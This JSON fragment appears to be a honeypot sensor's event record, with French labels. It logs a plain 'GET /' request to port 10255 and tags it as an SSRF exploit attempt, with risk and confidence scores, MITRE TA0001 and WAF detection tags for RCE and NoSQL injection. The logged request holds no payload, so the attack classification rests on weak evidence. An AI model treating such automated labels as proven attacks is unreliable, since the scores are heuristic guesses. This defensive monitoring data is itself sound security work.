"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 10255,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:10255\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537",
"attack_vector": "ssrf internal \u00b7 via HTTP:10255 \u00b7 (tentative d'exploit)",
"target_port_label": "10255 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"classification_reason_label_fr": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 55\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 54 % \u2014 via HTTP",
"confidence_pct": 54,
"confidence_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 55
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 55,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 10255,
"protocol_emulated": true,
"tags_summary": [
"CRS-920350"
],
"tags_summary_labels_fr": [
"CRS-920350"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 10255,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "ssrf internal \u00b7 via HTTP:10255 \u00b7 (tentative d'exploit)",
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:10255\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537",
"target_port_label": "10255 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF",
"confidence_factors_fr": "Confiance 54 % \u2014 Score WAF 72 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "10255"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path",
"net_web_probe"
],
"asn_dc_heuristic": true
}